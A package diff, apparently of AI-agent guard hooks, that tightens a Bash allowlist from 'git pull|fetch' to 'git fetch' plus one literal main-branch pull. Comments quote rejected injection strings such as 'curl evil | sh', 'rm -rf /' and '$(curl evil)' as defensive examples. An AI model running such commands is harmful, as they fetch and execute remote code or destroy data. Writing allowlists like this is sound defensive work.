`permissionDecision:\"deny\"` JSON on stdout (exit 0) — see claude-code-response.ts. Fails\n * CLOSED on any unexpected crash (emits a deny) so a broken hook never silently lets an edit through,\n * and the reason now surfaces in the Claude Code UI instead of being hidden on a stderr+exit-2 block.\n */\nexport async function runMain(mode: HookMode): Promise<void> {\n // Captured from the payload as soon as it parses so the fail-closed catch below can tell denyJson\n // which tool it is denying — a crash on a Bash call still gets the visible red systemMessage, a\n // crash on a file tool does not. Empty (before parse / malformed input) → treated as non-Bash.\n let toolName = '';\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n const raw = await readStdin();\n const payload = safeParse(raw);\n if (!payload) { emitAllow(); }\n toolName = payload.tool_name;\n\n // BEFORE enforceCommittedShim(), which can itself write a BLOCK line. See LogStream for why\n // all three of session/agent/hook are needed to keep concurrent writers off one file.\n logStream.identify(new StreamIdentity(payload.session_id ?? '', payload.agent_id ?? '', mode));\n\n // Prefer the payload cwd (the AI's actual working dir, follows a persisted `cd`) over\n // process.cwd(); they match today, but the payload is the authoritative signal and stays\n // correct if the hook is ever invoked from a fixed dir (e.g. via $CLAUDE_PROJECT_DIR).\n const cwd = payload.cwd ?? process.cwd();\n\n // Committed-shim self-guard: blocks real work while the committed shim is stale, but keeps the\n // recovery path open (cures, reads, config edit). See enforceCommittedShim / shimStaleRecoveryDecision.\n enforceCommittedShim(payload, cwd, mode);\n\n // Read-only tools (Read): audit-log, warm the main-sync cache, then run the ONE read-scoped\n // guard (read-stale-guard) and allow. Runs BEFORE the general rule engine — no code-style rule\n // ever sees a Read, and the only way this path can deny is a stale `main`.\n // The audit trail still records every file the AI opened (see setup.ts).\n if (READ_ONLY_TOOLS.has(payload.tool_name)) {\n const readPath = payload.tool_input.file_path ?? '';\n if (mode !== 'rules') {\n invocationLog.begin(cwd, payload.tool_name, readPath);\n // Reads vastly outnumber edits, so refreshing here is what actually keeps the shared\n // main-sync cache warm for feature-branch-guard. Detached; never slows the read.\n triggerMainSyncRefresh(cwd);\n }\n handleRead(readPath, cwd, mode);\n emitAllow();\n }\n\n // Per-invocation guard log (the `calls/` stream): tool + command/file + live branch +\n // main-sync-status snapshot, on EVERY guards call, for later cleanup automation. Best-effort;\n // never blocks the call. (The committed shim is no longer silently healed here — a mismatch is\n // reported by the self-guard above, not rewritten out from under the AI.)\n if (mode !== 'rules') {\n const target = payload.tool_name === 'Bash' ? (payload.tool_input.command ?? '') : (payload.tool_input.file_path ?? '');\n invocationLog.begin(cwd, payload.tool_name, target);\n }\n\n if (payload.tool_name === 'Bash') {\n // No code-style rule is bash-scoped, so the rules hook ignores Bash.\n if (mode === 'rules') { emitAllow(); }\n handleBash(payload, cwd, mode);\n return;\n }\n\n // File payloads run in 'rules' (code-style), 'guards' (file-scoped guards like\n // feature-branch-guard), and 'all'. The runner filters to the right category.\n handleFileTool(payload, cwd, mode);\n } catch (err: unknown) {\n const error = toError(err);\n denyForCrash(error, toolName);\n }\n}\n\n/**\n * The fail-closed boundary for anything that escaped the hook body. An escaped RuleFailError (a rule\n * that threw past the runner's per-rule catch) or an InformAiError (bad config/stdin) both carry an\n * AI-readable message; anything else is an unexpected bug. All three DENY and surface their reason,\n * because a hook that crashed established nothing and must never be read as an allow.\n */\n// webpieces-disable no-function-outside-class -- sibling of the module-scope hook entry points in this adapter; a lone class for one terminal boundary would break the file's shape\nfunction denyForCrash(error: Error, toolName: string): never {\n if (error instanceof RuleFailError) {\n emitDeny(error.aiMessage, toolName, 'rule-crash');\n }\n if (error instanceof InformAiError) {\n emitDeny(error.message, toolName, 'bad-config-or-stdin');\n }\n emitDeny(`[ai-hooks] hook crashed unexpectedly — failing closed: ${error.message}`, toolName, 'hook-crash');\n}\n"]}
@@ -7,8 +7,12 @@ export declare const INSTALLER_ALLOW_JS: RegExp;
7
7
  export declare const RECOVERY_ALLOW_ERE: string;
8
8
  export declare const RECOVERY_ALLOW_JS: RegExp;
9
9
  export declare const RECOVERY_CMD = "rm -rf node_modules && pnpm install";
10
- export declare const SYNC_ALLOW_ERE: string;
11
- export declare const SYNC_ALLOW_JS: RegExp;
10
+ export declare const FETCH_ALLOW_ERE: string;
11
+ export declare const FETCH_ALLOW_JS: RegExp;
12
+ export declare const CHECKOUT_MAIN_PULL_ALLOW_ERE: string;
13
+ export declare const CHECKOUT_MAIN_PULL_ALLOW_JS: RegExp;
14
+ /** The exact bytes every message prescribing the on-main sync must print. */
15
+ export declare const CHECKOUT_MAIN_PULL_CMD = "git checkout main && git pull origin main";
12
16
  export declare const UPGRADE_SHIM_ALLOW_ERE: string;
13
17
  export declare const UPGRADE_SHIM_ALLOW_JS: RegExp;
14
18
  export declare const UPGRADE_SHIM_CMD = "pnpm exec wp-upgrade-shim";
@@ -1,6 +1,6 @@
1
1
  "use strict";
2
2
  Object.defineProperty(exports, "__esModule", { value: true });
3
- exports.READ_TOOLS = exports.L0_CURE_ALLOW_JS = exports.L0_ALLOW_JS = exports.L0_ALLOW_ERE_SH = exports.L0_ALLOW_ERE = exports.L0_ALLOWLIST = exports.L0AllowEntry = exports.L0Call = exports.INSTALL_HOOKS_TARGET_CMD = exports.INSTALL_HOOKS_CMD = exports.ORIENT_CMD = exports.ORIENT_ALLOW_JS = exports.ORIENT_ALLOW_ERE = exports.ADD_HOOK_PKG_CMD = exports.HOOK_PKG = exports.ADD_HOOK_PKG_ALLOW_JS = exports.ADD_HOOK_PKG_ALLOW_ERE = exports.INSTALL_HOOKS_ALLOW_JS = exports.INSTALL_HOOKS_ALLOW_ERE = exports.RESTORE_SHIM_CMD = exports.RESTORE_SHIM_ALLOW_JS = exports.RESTORE_SHIM_ALLOW_ERE = exports.UPGRADE_SHIM_CMD = exports.UPGRADE_SHIM_ALLOW_JS = exports.UPGRADE_SHIM_ALLOW_ERE = exports.SYNC_ALLOW_JS = exports.SYNC_ALLOW_ERE = exports.RECOVERY_CMD = exports.RECOVERY_ALLOW_JS = exports.RECOVERY_ALLOW_ERE = exports.INSTALLER_ALLOW_JS = exports.INSTALLER_ALLOW_ERE = exports.CD_PREFIX_JS_SRC = exports.CD_PREFIX_ERE = exports.CAPTURE_TAIL_JS_SRC = exports.CAPTURE_TAIL_ERE = void 0;
3
+ exports.READ_TOOLS = exports.L0_CURE_ALLOW_JS = exports.L0_ALLOW_JS = exports.L0_ALLOW_ERE_SH = exports.L0_ALLOW_ERE = exports.L0_ALLOWLIST = exports.L0AllowEntry = exports.L0Call = exports.INSTALL_HOOKS_TARGET_CMD = exports.INSTALL_HOOKS_CMD = exports.ORIENT_CMD = exports.ORIENT_ALLOW_JS = exports.ORIENT_ALLOW_ERE = exports.ADD_HOOK_PKG_CMD = exports.HOOK_PKG = exports.ADD_HOOK_PKG_ALLOW_JS = exports.ADD_HOOK_PKG_ALLOW_ERE = exports.INSTALL_HOOKS_ALLOW_JS = exports.INSTALL_HOOKS_ALLOW_ERE = exports.RESTORE_SHIM_CMD = exports.RESTORE_SHIM_ALLOW_JS = exports.RESTORE_SHIM_ALLOW_ERE = exports.UPGRADE_SHIM_CMD = exports.UPGRADE_SHIM_ALLOW_JS = exports.UPGRADE_SHIM_ALLOW_ERE = exports.CHECKOUT_MAIN_PULL_CMD = exports.CHECKOUT_MAIN_PULL_ALLOW_JS = exports.CHECKOUT_MAIN_PULL_ALLOW_ERE = exports.FETCH_ALLOW_JS = exports.FETCH_ALLOW_ERE = exports.RECOVERY_CMD = exports.RECOVERY_ALLOW_JS = exports.RECOVERY_ALLOW_ERE = exports.INSTALLER_ALLOW_JS = exports.INSTALLER_ALLOW_ERE = exports.CD_PREFIX_JS_SRC = exports.CD_PREFIX_ERE = exports.CAPTURE_TAIL_JS_SRC = exports.CAPTURE_TAIL_ERE = void 0;
4
4
  exports.isAllowed = isAllowed;
5
5
  const tslib_1 = require("tslib");
6
6
  const path = tslib_1.__importStar(require("path"));
@@ -125,10 +125,10 @@ const RECOVERY_BODY_JS = 'rm\\s+-rf\\s+(\\.\\/)?node_modules\\/?(\\s*&&\\s*(pnpm
125
125
  exports.RECOVERY_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + RECOVERY_BODY_JS + exports.CAPTURE_TAIL_JS_SRC);
126
126
  // The exact command we tell the human/assistant to run to recover a corrupt node_modules.
127
127
  exports.RECOVERY_CMD = 'rm -rf node_modules && pnpm install';
128
- // Git SYNC commands. Part of the ONE L0 allowlist (see L0_ALLOW_ERE), so they are allowed under EVERY
129
- // L0 fault, not just drift. They used to be gated on drift alone, on the reasoning that no amount of
128
+ // `git fetch`. Part of the ONE L0 allowlist (see L0_ALLOW_ERE), so it is allowed under EVERY
129
+ // L0 fault, not just drift. It used to be gated on drift alone, on the reasoning that no amount of
130
130
  // git can fix a missing/broken bin. True but irrelevant: an allowlist entry that cannot help also
131
- // cannot hurt, and the gating had a real cost — under a stale committed shim, `git pull` is the ONLY
131
+ // cannot hurt, and the gating had a real cost — under a stale committed shim, a git sync is the ONLY
132
132
  // cure when the CHECKOUT is the stale side, and it was denied. Ungating it removes that trap.
133
133
  //
134
134
  // `merge` was REMOVED from this list. It was accepted here while the guards are DOWN, and the drift
@@ -145,20 +145,61 @@ exports.RECOVERY_CMD = 'rm -rf node_modules && pnpm install';
145
145
  // that is BEHIND origin, and now the PIN is the stale side while node_modules is correct and NEWER.
146
146
  //
147
147
  // In that inverse case `pnpm install` is not the cure, it is the disease: it happily DOWNGRADES
148
- // node_modules to the stale pin. The real cure is `git pull` — which the guard denied, because the
148
+ // node_modules to the stale pin. The real cure is a git sync — which the guard denied, because the
149
149
  // allowlist only ever contained the installer. So the assistant was told to run the one command that
150
150
  // made things worse, while the fix was blocked. Allow the sync commands here and the deadlock is gone.
151
151
  //
152
+ // `pull` WAS THEN REMOVED FROM THIS ENTRY (2026-08-10, audit finding C6) — which is why it is now named
153
+ // for the fetch subcommand alone. The entry was `(pull|fetch)` and marked TERMINAL ('allow'), so it
154
+ // short-circuited every downstream guard. redirect-how-to-merge-main exists to block exactly one thing:
155
+ // `git pull origin main` on a FEATURE branch, because a raw pull there merges main INTO the branch and
156
+ // destroys the fork point that the 3-point merge, `nx affected --base=` and the PR review diff are all
157
+ // computed from. Under an L0 fault the drift message TOLD the agent to run `git pull origin main` and
158
+ // this entry PERMITTED it, on whatever branch it happened to be standing on. The damage is silent: it
159
+ // surfaces later as a build gate that rebuilt the wrong scope and a PR diff describing work nobody did.
160
+ //
161
+ // The fetch subcommand cannot merge anything, so it can never poison a fork point, and it stays terminal
162
+ // here. `git pull` now falls THROUGH to redirect-how-to-merge-main, which allows it on main and blocks
163
+ // it on a feature branch — the correct matrix, and the one that guard was written to enforce. A BARE
164
+ // `git pull` (syncing a shared feature branch with origin/<same-branch>) is not blocked by that guard
165
+ // either; it simply is no longer waved past every OTHER guard on the way. The on-main cure keeps a
166
+ // terminal spelling of its own — CHECKOUT_MAIN_PULL_BODY_ERE below.
167
+ //
152
168
  // Kept exactly as tight as INSTALLER_ALLOW_ERE: anchored at both ends, and every argument token is a
153
169
  // bare word or `--flag` — so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`) can ride along.
154
- // `git pull; curl evil | sh` still FAILS CLOSED. Deliberately NOT `git checkout`: switching branches is
155
- // what CAUSES this drift, and a fail-closed escape hatch should only contain cures.
156
- // Keep in sync with SYNC_ALLOW_JS below (locked by a unit test).
157
- const SYNC_BODY_ERE = 'git[[:space:]]+(pull|fetch)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';
158
- exports.SYNC_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + SYNC_BODY_ERE + exports.CAPTURE_TAIL_ERE;
159
- // JS-regex twin of SYNC_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts the two agree.
160
- const SYNC_BODY_JS = 'git\\s+(pull|fetch)(\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';
161
- exports.SYNC_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + SYNC_BODY_JS + exports.CAPTURE_TAIL_JS_SRC);
170
+ // A trailing `; curl evil | sh` still FAILS CLOSED. Deliberately NOT a general `git checkout`: switching
171
+ // branches is what CAUSES this drift, and a fail-closed escape hatch should only contain cures.
172
+ // Keep in sync with FETCH_ALLOW_JS below (locked by a unit test).
173
+ // webpieces-disable no-fetch -- a POSIX ERE matching the git subcommand of that name, not an HTTP call
174
+ const FETCH_BODY_ERE = 'git[[:space:]]+fetch([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';
175
+ exports.FETCH_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + FETCH_BODY_ERE + exports.CAPTURE_TAIL_ERE;
176
+ // JS-regex twin of FETCH_ALLOW_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts the two agree.
177
+ // webpieces-disable no-fetch -- the JS twin of the ERE above; still the git subcommand, not an HTTP call
178
+ const FETCH_BODY_JS = 'git\\s+fetch(\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';
179
+ exports.FETCH_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + FETCH_BODY_JS + exports.CAPTURE_TAIL_JS_SRC);
180
+ // THE ONE PULL SPELLING THAT IS ALWAYS FORK-POINT-SAFE — the other half of the C6 fix above.
181
+ //
182
+ // `git checkout main && git pull origin main` ends on MAIN. The feature branch is not checked out, not
183
+ // merged into, not touched at all: there is no fork point to destroy, on any branch, ever. That is what
184
+ // earns it a terminal entry on a list where a bare `git pull origin main` no longer has one. It is also,
185
+ // word for word, the cure `stale-main-bash-guard` calls its PREFERRED option, and it satisfies that
186
+ // guard's "the pull must be in the SAME command" rule — so the guard that prescribes it and the
187
+ // allowlist that admits it finally spell it identically. When the agent is ALREADY on main the checkout
188
+ // is a harmless no-op, so this one literal covers the on-main case too and needs no second entry.
189
+ //
190
+ // A NARROW LITERAL, deliberately. The rationale above — `git checkout` is what CAUSES this drift, and a
191
+ // fail-closed hatch should only contain cures — is intact: `main` is hard-coded, no flags are accepted,
192
+ // and there is NO general `git checkout <branch> &&` prefix. `git checkout feat && git pull origin main`,
193
+ // the exact command redirect-how-to-merge-main blocks, stays REFUSED here; so do `git checkout main`
194
+ // alone (it cures nothing) and anything chained onto either end.
195
+ // Keep in sync with CHECKOUT_MAIN_PULL_BODY_JS below (locked by a unit test).
196
+ const CHECKOUT_MAIN_PULL_BODY_ERE = 'git[[:space:]]+checkout[[:space:]]+main[[:space:]]*&&[[:space:]]*git[[:space:]]+pull[[:space:]]+origin[[:space:]]+main';
197
+ // JS-regex twin of CHECKOUT_MAIN_PULL_BODY_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts they agree.
198
+ const CHECKOUT_MAIN_PULL_BODY_JS = 'git\\s+checkout\\s+main\\s*&&\\s*git\\s+pull\\s+origin\\s+main';
199
+ exports.CHECKOUT_MAIN_PULL_ALLOW_ERE = CD_PREFIX_ERE_ANCHORED + CHECKOUT_MAIN_PULL_BODY_ERE + exports.CAPTURE_TAIL_ERE;
200
+ exports.CHECKOUT_MAIN_PULL_ALLOW_JS = new RegExp(CD_PREFIX_JS_ANCHORED + CHECKOUT_MAIN_PULL_BODY_JS + exports.CAPTURE_TAIL_JS_SRC);
201
+ /** The exact bytes every message prescribing the on-main sync must print. */
202
+ exports.CHECKOUT_MAIN_PULL_CMD = 'git checkout main && git pull origin main';
162
203
  // The CURE for the committed-shim self-guard (now enforced by the binary — see committedShimStale
163
204
  // below): regenerate .claude/webpieces/ai-hook.sh from renderShim(). Allowed while that guard is up —
164
205
  // like the installer, it is a webpieces-owned, no-network local action whose whole job is to re-arm the
@@ -296,7 +337,7 @@ exports.ADD_HOOK_PKG_CMD = `pnpm add -D ${exports.HOOK_PKG}`;
296
337
  // nothing, and no other subcommand can reach the accepted branch. Deny cases for `add`/`remove` are
297
338
  // explicit in shim-drift.spec.ts.
298
339
  //
299
- // Kept at exactly the tightness of SYNC_BODY_ERE — the same argument token, `--flag` or a bare word
340
+ // Kept at exactly the tightness of FETCH_BODY_ERE — the same argument token, `--flag` or a bare word
300
341
  // from a character class holding no shell metacharacter — so nothing can ride along: `pwd; curl evil |
301
342
  // sh`, `git status && rm -rf /`, `git log $(curl evil)` and `git status | sh` all FAIL CLOSED. Note the
302
343
  // subcommand word must follow `git` IMMEDIATELY: `git -c core.pager=evil status` and `git -C /other
@@ -407,8 +448,11 @@ exports.L0_ALLOWLIST = [
407
448
  new L0AllowEntry(`a Write/Edit whose target is ${rules_config_1.CONFIG_FILENAME}`, 'pass', false, null, null, new L0Call('Edit', '', `/repo/${rules_config_1.CONFIG_FILENAME}`)),
408
449
  new L0AllowEntry('pnpm|npm install', 'allow', true, INSTALLER_BODY_ERE, INSTALLER_BODY_JS, new L0Call('Bash', 'pnpm install', '')),
409
450
  new L0AllowEntry(`${exports.RECOVERY_CMD} - the cure for a CORRUPT node_modules`, 'allow', true, RECOVERY_BODY_ERE, RECOVERY_BODY_JS, new L0Call('Bash', exports.RECOVERY_CMD, '')),
410
- // webpieces-disable no-fetch -- prose naming the git sync commands in a doc label, not an HTTP call
411
- new L0AllowEntry('git pull / git fetch - merge is NOT on the list', 'allow', true, SYNC_BODY_ERE, SYNC_BODY_JS, new L0Call('Bash', 'git pull', '')),
451
+ // webpieces-disable no-fetch -- prose naming the git sync subcommand in a doc label, not an HTTP call
452
+ new L0AllowEntry('git fetch - a bare git pull and git merge are NOT on the list', 'allow', true, FETCH_BODY_ERE, FETCH_BODY_JS, new L0Call('Bash', 'git fetch', ''), [new L0Call('Bash', 'git fetch --prune origin main', '')]),
453
+ // The one fork-point-safe pull: it ends on MAIN, so no feature branch is merged into. A bare
454
+ // `git pull origin main` is deliberately NOT here — see CHECKOUT_MAIN_PULL_BODY_ERE.
455
+ new L0AllowEntry(exports.CHECKOUT_MAIN_PULL_CMD, 'allow', true, CHECKOUT_MAIN_PULL_BODY_ERE, CHECKOUT_MAIN_PULL_BODY_JS, new L0Call('Bash', exports.CHECKOUT_MAIN_PULL_CMD, '')),
412
456
  new L0AllowEntry(exports.UPGRADE_SHIM_CMD, 'allow', true, UPGRADE_SHIM_BODY_ERE, UPGRADE_SHIM_BODY_JS, new L0Call('Bash', exports.UPGRADE_SHIM_CMD, '')),
413
457
  new L0AllowEntry(exports.RESTORE_SHIM_CMD, 'allow', true, RESTORE_SHIM_BODY_ERE, RESTORE_SHIM_BODY_JS, new L0Call('Bash', exports.RESTORE_SHIM_CMD, '')),
414
458
  // The cure for unknown keys in webpieces.config.json — see PRUNE_CONFIG_BODY_ERE for why a cure the